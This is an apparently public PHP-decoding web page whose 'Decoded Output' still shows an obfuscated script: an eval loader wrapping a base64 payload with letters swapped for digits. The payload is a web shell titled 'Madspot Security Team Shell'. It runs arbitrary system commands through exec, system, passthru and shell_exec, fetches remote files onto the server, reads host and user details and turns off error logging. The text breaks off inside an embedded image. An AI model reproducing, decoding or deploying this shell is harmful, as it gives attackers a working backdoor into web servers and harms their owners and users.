Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $O..

Decoded Output download

<?php  eval$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8}; $_F=__FILE__;$_X='Pz48P3BocA0KDQovKioNCiAqIEAxM3RoMnIgSWtyMW0gQUxJDQogKiBAYzJweXI0Z2h0IGEwNmENCiAqLw0KQGQ1ZjRuNSgnVkVSU0lPTicsJzYuMCcpOw0KQDVycjJyX3I1cDJydDRuZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIG0xZHN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ20xZHN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gbTFkc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KNGYgKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKT09Inc0biIpDQogICAgJHN5cz0ndzRuJzsNCiA1bHM1DQogICAgJHN5cz0nM240eCc7DQogICAgDQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZzV0Y3dkKCk7DQo0Zigkc3lzID09ICd3NG4nKSANCnsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQoNCjRmKCRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQogICAgDQogICAgDQpmM25jdDQybiBtMWRFeCgkNG4pIHsNCgkkMjN0ID0gJyc7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCUA1eDVjKCQ0biwkMjN0KTsNCgkJJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAcDFzc3RocjMoJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3N5c3Q1bScpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBzeXN0NW0oJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KCQkkMjN0ID0gc2g1bGxfNXg1YygkNG4pOw0KCX0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCgkJJDIzdCA9ICIiOw0KCQl3aDRsNSghQGY1MmYoJGYpKQ0KCQkJJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCgkJcGNsMnM1KCRmKTsNCgl9DQoJcjV0M3JuICQyM3Q7DQp9DQokZDJ3bj1AZzV0Y3dkKCk7DQo0Zigkc3lzPT0idzRuIikNCiRkMnduLj0nXFwnOw0KNWxzNQ0KJGQyd24uPScvJzsNCjRmKDRzczV0KCRfUE9TVFsncnRkMnduJ10pKQ0Kew0KJDNybCA9ICRfUE9TVFsncnRkMnduJ107DQokbjV3Zm4xbTUgPSAkZDJ3bi4gYjFzNW4xbTUoJDNybCk7DQokZjRsNSA9IGYycDVuICgkM3JsLCAicmIiKTsNCjRmICgkZjRsNSkgew0KICAkbjV3ZiA9IGYycDVuICgkbjV3Zm4xbTUsICJ3YiIpOw0KICA0ZiAoJG41d2YpDQogIHdoNGw1KCFmNTJmKCRmNGw1KSkgew0KICAgIGZ3cjR0NSgkbjV3ZiwgZnI1MWQoJGY0bDUsIDYwYXUgKiA4ICksIDYwYXUgKiA4ICk7DQogIH0NCiAgfQ0KDQo0ZiAoJGY0bDUpIHsNCiAgZmNsMnM1KCRmNGw1KTsNCn0NCjRmICgkbjV3Zikgew0KICBmY2wyczUoJG41d2YpOw0KfQ0KfQ0KDQogICAgDQogDQogZjNuY3Q0Mm4gbTFkaDUxZCgpDQogew0KICAgIDRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCgkJJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107DQogDQokZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsgICAgICAgIA0KICAgIA0KJDJuPSI8ZjJudCBjMmwycj0jMEYwPiBPTiA8L2YybnQ+IjsNCiQyZj0iPGYybnQgYzJsMnI9cjVkPiBPRkYgPC9mMm50PiI7DQokbjJuNT0iPGYybnQgYzJsMnI9IzBGMD4gTk9ORSA8L2YybnQ+IjsgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJykpDQogICAgJGMzcmw9JDJuOw0KNWxzNQ0KICAgICRjM3JsPSQyZjsNCjRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgJG15c3FsPSQybjsNCiA1bHM1DQogICAgJG15c3FsPSQyZjsgICAgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICRtc3NxbD0kMm47DQo1bHM1DQogICAkbXNzcWw9JDJmOyANCgkJDQo0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAkcGc9JDJuOw0KNWxzNQ0KICAgJHBnPSQyZjsgICAgCQkNCjRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCiAgICQycj0kMm47DQo1bHM1DQogICAkMnI9JDJmOw0KNGYoQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJykpDQogICRkNHNmM249QDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQo1bHM1DQokZDRzZjNuPSJBbGwgRjNuY3Q0Mm5zIEVuMWJsNSI7DQo0ZihANG40X2c1dCgnczFmNV9tMmQ1JykpDQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50PiI7DQo1bHM1DQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9IzBGMCA+T0ZGPC9mMm50PiI7DQo0ZihANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpDQokMnA1bl9iPUA0bjRfZzV0KCcycDVuX2IxczVkNHInKTsNCiAgICA1bHM1DQogICQycDVuX2I9JG4ybjU7DQogICAgDQoNCjRmKEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSkNCiRzMWY1XzV4NT1ANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJyk7DQogICAgNWxzNQ0KJHMxZjVfNXg1PSRuMm41Ow0KNGYoQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKQ0KICAgJHMxZjVfNG5jbDNkNT1ANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJyk7IA0KNWxzNQ0KICRzMWY1XzRuY2wzZDU9JG4ybjU7DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIA0Kew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQp9IDVsczUgDQp7DQoJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCgkJJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOw0KCQkkM3M1ciA9ICQzNGRbJ24xbTUnXTsNCgkJJDM0ZCA9ICQzNGRbJzM0ZCddOw0KCQkkZ3IyM3AgPSAkZzRkWyduMW01J107DQoJCSRnNGQgPSAkZzRkWydnNGQnXTsNCgl9DQoNCg0KICAgICAkY3dkX2w0bmtzID0gJyc7DQoJJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jMjNudCgkcDF0aCk7DQoJZjJyKCQ0PTA7ICQ0PCRuLTY7ICQ0KyspIHsNCgkJJGN3ZF9sNG5rcyAuPSAiPDEgIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KJGRyNHY1cyA9ICIiOw0KZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQo0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCiRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCg0KDQoNCg0KDQogNWNoMiAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9Xb0MvL0RURCBYSFRNTCA2LjAgVHIxbnM0dDQybjFsLy9FTiIgImh0dHA6Ly93d3cud28uMnJnL1RSL3hodG1sNi9EVEQveGh0bWw2LXRyMW5zNHQ0Mm4xbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cud28uMnJnLzY5OTkveGh0bWwiPg0KPGg1MWQ+DQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LVR5cDUiIGMybnQ1bnQ9InQ1eHQvaHRtbDsgY2gxcnM1dD0zdGYtOCIgLz4NCjxsNG5rIGhyNWY9Imh0dHA6Ly93d3cubTFkc3AydC5uNXQvZjF2NGMybi40YzIiIHI1bD0iNGMybiIgdHlwNT0iNG0xZzUveC00YzJuIi8+DQo8dDR0bDU+TTFkc3AydCBTNWMzcjR0eSBUNTFtIFNoNWxsPC90NHRsNT4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+DQo8IS0tDQoud2gybDUgew0KCWIxY2tncjIzbmQtYzJsMnI6ICNDQ0M7DQoJaDU0Z2h0OjEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJbTFyZzRuLXQycDogNjBweDsNCgltMXJnNG4tcjRnaHQ6IDYwcHg7DQoJbTFyZzRuLWw1ZnQ6IDYwcHg7DQp9DQouaDUxZDVyIHsNCgloNTRnaHQ6IDEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyOiA3cHggczJsNGQgI0NDQzsNCgljMmwycjogIzk5OTsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC1mMW00bHk6IFY1cmQxbjEsIEc1bjV2MSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjMDAwOw0KfQ0KLmg1MWQ1ciAxIHtjMmwycjojMEYwOyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTt9DQpzcDFuIHsNCglmMm50LXc1NGdodDogYjJsZDVyOw0KCWMybDJyOiAjRkZGOw0KfQ0KI201M25sNHN0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWMybDJyOiAjRkZGOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCgliMnJkNXItdDJwLXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1iMnR0Mm0tc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KCWg1NGdodDogMTN0MjsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC13NTRnaHQ6IGIybGQ7DQoJYjJyZDVyLXQycC13NGR0aDogMHB4Ow0KfQ0KICAud2gybDUgI201M25sNHN0IDNsIHsNCglwMWRkNG5nLXQycDogaXB4Ow0KCXAxZGQ0bmctcjRnaHQ6IGlweDsNCglwMWRkNG5nLWIydHQybTogN3B4Ow0KCXAxZGQ0bmctbDVmdDogYXB4Ow0KCXQ1eHQtMWw0Z246YzVudDVyOw0KCWw0c3Qtc3R5bDUtdHlwNTogbjJuNTsNCgltMXJnNG46IDBweDsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCBsNCB7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCWQ0c3BsMXk6IDRubDRuNTsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCAxIHsNCiAgICBmMm50LWYxbTRseTogMXI0MWwsIHMxbnMtczVyNGY7DQoJZjJudC1zNHo1OiA2dXB4Ow0KCXQ1eHQtZDVjMnIxdDQybjpuMm41Ow0KCWYybnQtdzU0Z2h0OiBiMmxkOw0KCWMybDJyOiAjZmZmOw0KCWNsNTFyOiBiMnRoOw0KCXc0ZHRoOiA2MDBweDsNCgltMXJnNG4tcjRnaHQ6IC1lcHg7DQoJcDFkZDRuZy10MnA6IG9weDsNCglwMWRkNG5nLXI0Z2h0OiA2aXB4Ow0KCXAxZGQ0bmctYjJ0dDJtOiBvcHg7DQoJcDFkZDRuZy1sNWZ0OiA2aXB4Ow0KCWIycmQ1ci1yNGdodC13NGR0aDogNnB4Ow0KCWIycmQ1ci1yNGdodC1zdHlsNTogczJsNGQ7DQoJYjJyZDVyLXI0Z2h0LWMybDJyOiAjRkZGOw0KfQ0KICAud2gybDUgI201M25sNHN0IDE6aDJ2NXIgew0KCWMybDJyOiAjMDAwOw0KCWIxY2tncjIzbmQ6ICNmZmY7DQp9DQoNCi5mMjJ0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCXc0ZHRoOiA2MDAlOw0KCXQ1eHQtMWw0Z246IGM1bnQ1cjsNCglmMm50LXM0ejU6IDZhcHg7DQoJYzJsMnI6ICNDQ0M7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCiAgICBiMnJkNXItYjJ0dDJtLXc0ZHRoOiA3cHg7DQogICAgYjJyZDVyLWIydHQybS1zdHlsNTogczJsNGQ7DQogICAgYjJyZDVyLXI0Z2h0LXN0eWw1OiBzMmw0ZDsNCiAgICBiMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KfSc7DQo0Zig0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pKQ0KIHsNCiAgICA1Y2gyICIuZjIydHQxYmw1IHsNCiAgICB3NGR0aDogbzAwcHg7DQogICAgZjJudC13NTRnaHQ6IGIybGQ7DQogICAgfSI7fQ0KICAgIDVsczUNCiAgICB7DQogICAgICAgNWNoMiAiLmYyMnR0MWJsNSB7DQogICAgdzRkdGg6IG8wMHB4Ow0KICAgIGYybnQtdzU0Z2h0OiBiMmxkOw0KICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOw0KICAgIH0NCiAgICAuZDRyIHsNCiAgICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOyAgDQogICAgfQ0KICAgICI7IA0KICAgIH0gICAgDQogNWNoMiAnLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O30NCiAubTE0biAxe2MybDJyOiAjRkZGO30NCiAubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOnI1ZDt9DQogLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQogLmI0ZzFyNTF7IHc0ZHRoOjk5JTsgaDU0Z2h0Om8wMHB4OyB9ICAgDQogIDwvc3R5bDU+DQoNCic7DQoNCjVjaDIgIjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX08L3NjcjRwdD4iOw0KDQogICAgDQoJNWNoMiAnDQo8L2g1MWQ+DQoNCjxiMmR5IGJnYzJsMnI9IiMwMDAwMDAiICBsNWZ0bTFyZzRuPSIwIiB0MnBtMXJnNG49IjAiIG0xcmc0bnc0ZHRoPSIwIiBtMXJnNG5oNTRnaHQ9IjAiPg0KPGQ0diBjbDFzcz0id2gybDUiPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0iZDRzcGwxeTpuMm41OyI+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+DQogIDxkNHYgY2wxc3M9Img1MWQ1ciI+PHQxYmw1IHc0ZHRoPSI2MDAlIiBiMnJkNXI9IjAiICAxbDRnbj0ibDRmdCI+DQogIDx0cj4NCiAgICA8dGQgdzRkdGg9Im8lIj48c3Axbj5VbjFtNTo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5zM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApLic8L3RkPg0KICAgIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+VXM1cjo8L3NwMW4+PC90ZD4NCiAgICA8dGQ+Jy4gJDM0ZCAuICcgWyAnIC4gJDNzNXIgLiAnIF0gPHNwMW4+ICAgR3IyM3A6IDwvc3Axbj4nIC4gJGc0ZCAuICcgWyAnIC4gJGdyMjNwIC4gJyBdIDwvdGQ+DQogICAgPHRkIHc0ZHRoPSI2dSUiIHIyd3NwMW49IjgiPjw0bWcgMWx0PSIiIHNyYz0iZDF0MTo0bTFnNS9qcDVnO2IxczVldSwvOWovdUFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvYXdDRUFCRU1EUThOQ3hFUERnOFRFaEVWRzRzY0doZ1lHalVtS0I4clB6ZENRVHVvUER0RlRtTlVSVWw1U3pzOFZuWlhYbWRxYm9CdlE2TmVnb2xzZ21OdGJhc0JFaE1UR2hjMU14d2NNYXRIUEVkcjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxLy9BQUJFSUFJOEFqd01CRVFBQ0VRRURFUUgveEFHNEFBQUJCUUVCQVFFQkFRQUFBQUFBQUFBQUFRSURCQVVHQndnSkNnc1FBQUlCQXdNQ0JBTUZCUVFFQUFBQmZRRUNBd0FFRVFVU0lURkJCaE5SWVFjNGNSUXlnWkdoQ0NOQ3NjRVZVdEh3SkRONGMySUpDaFlYR0JrMUpTWW5LQ2txTkRVYU56Z2lPa05FUlVaSFNFbEtVNlJWVmxkWVdWcGpaR1ZtWmFocDFuTjBkWFpvNUhsZWd1U0ZoMjVJNFlxU2tpU1ZscDVZbVpxNDJlU2xwcTUycTFxeXM3UzZ0cjV1M2JyQ3c4VEZ4c2ZJeWNyUzA5VFY2dGZZYWRyaHUzUGtpNWJuZU9ucThmTHo5UFhhOS9qaStnRUFBd0VCQVFFQkFRRUJBUUFBQUFBQUFBRUNBd1FGQmdjSUNRMkxFUUFDQVFJRUJBTUVCd1VFQkFBQkFuY0FBUUlERVFRRklURUdFa0ZSQmFGeEV5SXlnUWdVUXBHaHNjRUpJek5TOEJWNGN0RUtGNFEwdVNYeEZ4Z1pHNFluS0NrcU5UWW9PRGtlUTBSRlJrZElTVXBUVkZWV1Y2aFpXbU5rWldabjFHbHFjb1I2ZG5kdTVYcUNndVNGaDI1STRZcVNraVNWbHA1WW1acTQyZVNscHE1MnExcXlzN1M2dHI1dTNickN3OFRGeHNmSXljclMwOVRWNnRmWWFkcjR1K1RsaTNmMmU1cnk4L1Q2OXZmdStmci9hZ0FNQXdFQUFoRURFUUEvQU9PdExKcmtGdGE2UldjZW5LWlZLNGdXdjdJL2ViZnBXYnIrUmg5MVhZUDdJSC9QYjlLWHQvSWY2bE43Rm1Qd3V6MkdNdUc1eEZaeXg0WFF0VnZJamJ3aWNqN3NzWi9NVlN4Y0MvMTJ6THE2bHRKZkxtWERWMHdtcEtlTGpKUFlZRUFIem5GVVVHYVArOGZ5MkFBc2Y5dS9sUUJJTGJQUW1nQkd0WkFNZ1pGQUVCR0RRQjVqMHlXU01QM1VaaXcxeWRXS1pqS3ZHTEhmYVROL2ZTbDdaR2Y2cUlEU1pqMFpjbWtlOFVOWW1MWllIaGE3SXozakh1NkR4Y0RUYXFBK0hic0FrTkdmMjExeFVHSHRVWmM4THdTR09RWVlWMFJrcEtlTkU3cWlzZVlBTEpDT2lPMWlLb3hIbnVsKy9ZdDZrY3dpT1dVNTlKN0RqM2JIUzNLV3JPeEpCVWo5VEc4UkluYWRYS2czQ0FEK041aGdtOVUxMGptWkQrOGJlNmVKM00yQWtoLzZxMEFYbGUwQVRMUUJRM3dFM2pnZDNsQUc3R01SSVBZVmk4dFc1VFZmdk1kU015NXpBTnczUldjN2FMcDdtblhJZFlVa0lpVHhKL3lFQi8zQ3Zad284TkhUUytFczFkL3hpUi9qL09zcXZ4c3VjVDhaWnJNaWh5ZmZYZTRsTHVTMjdteFhDOXpzUVVETWJ4R1I5bmpIcXdyME1INk4xUnpNbitzYmU2ZUIzTTJBa2cvNnEwQVhrMkFtV2dDamZmOEFIeitBMkFvSXY5VW4rZUt1SmJua1ZQNFllcE15eFpmOGZDL1E2blVhTjFXaXBWeG5VRk1EbGZFdi9JUVgvY3I2OEwvRE80bjhKUHBvL0hsSCtQOEFPc2V2eHN1Y1Q4WlpyTWloeWZmWGU0bEx1UzI3bXhYQzl6c1FVaG1IdWsrN0NmNXZSd1hVNnBIT1MvZXh2clgyR3V5Z0NTRC9BRnEwQVhsMkFtV2dDamZmOGZYdUNnRGJoaWdqL3dCMGZ5cmdsMzVSVitKamVrekxGbC94OEw5RFdkVFk2cGJtbFhHZFFVd09WOFMvOGhCZjl5dlh3djhBRE80bjhKTnBwLzBKUHgvblVWdmpPSEUvR1dxeU9ZY25vNit0VExZcU9pc1Z4U29PeEJTOGdNVHhIL3Eydjl1VmVPRDAzYlVqbWlmOVlvNnIwRGNaUUJKQi9yVjJBdkxRQk10QUZHKy91K3Z3RkFHb0IvcUl2OXdmeXJnbjhSaU5YdWFQcWJtUllzditQZ2ZRNm5VYU5LNWlwVnhuV0ZNR2NydWwvd0NRZ3Y4QTNWZStGL2huUlMrRWdzcjliNVB5b1VrRHA0cnFVK1pvSXEwNWZVdGpWTGNqbmNEOUt5OWpJaS9xcnYzSDlwYW9xL2lVNXdrUGVxMHlhbjRHb1ZBR1ZtSTd1eFdMd2ttMXFrMEI4U1FkMlh6OTFQcVQ3ajlreko2SFVtdnBsWWoxNDlCWFhSMnFtckdzSThwWGtnTEVzcEJCaXptdDR4bmtQN2ZuUUFxdzNyQThjVUFXbFlEcURRQklzNCtoSkZBRktlZk1hdS81N3U3VUExRnBxRUloVlpHS2xRQjBybm5TMzlEa3F1Zm1kMFQvQU4yV28vUFQ5S3o5akl5K3JTSEpxZDNqaGxsaUh0U2RDVFF1dTVTWmNHdldtT1NjKzZZZlZKR3lweUVmWDdSVUpYSlBwVFdEbDZHcVQzYzdxTnViYWlNcEdCakFGNWhUaHlSc2JSVmtUZWIxSk4za2xHaVJ3RnpVNktqajJqS3RWaUVYaFlXMi93Q1dRL09zUDF6T1hleklYN0IxL3dEUElmbTFQMXpEZXpJdHcxSjFQR0hkTVo3QTZoTEZUVE5sVmt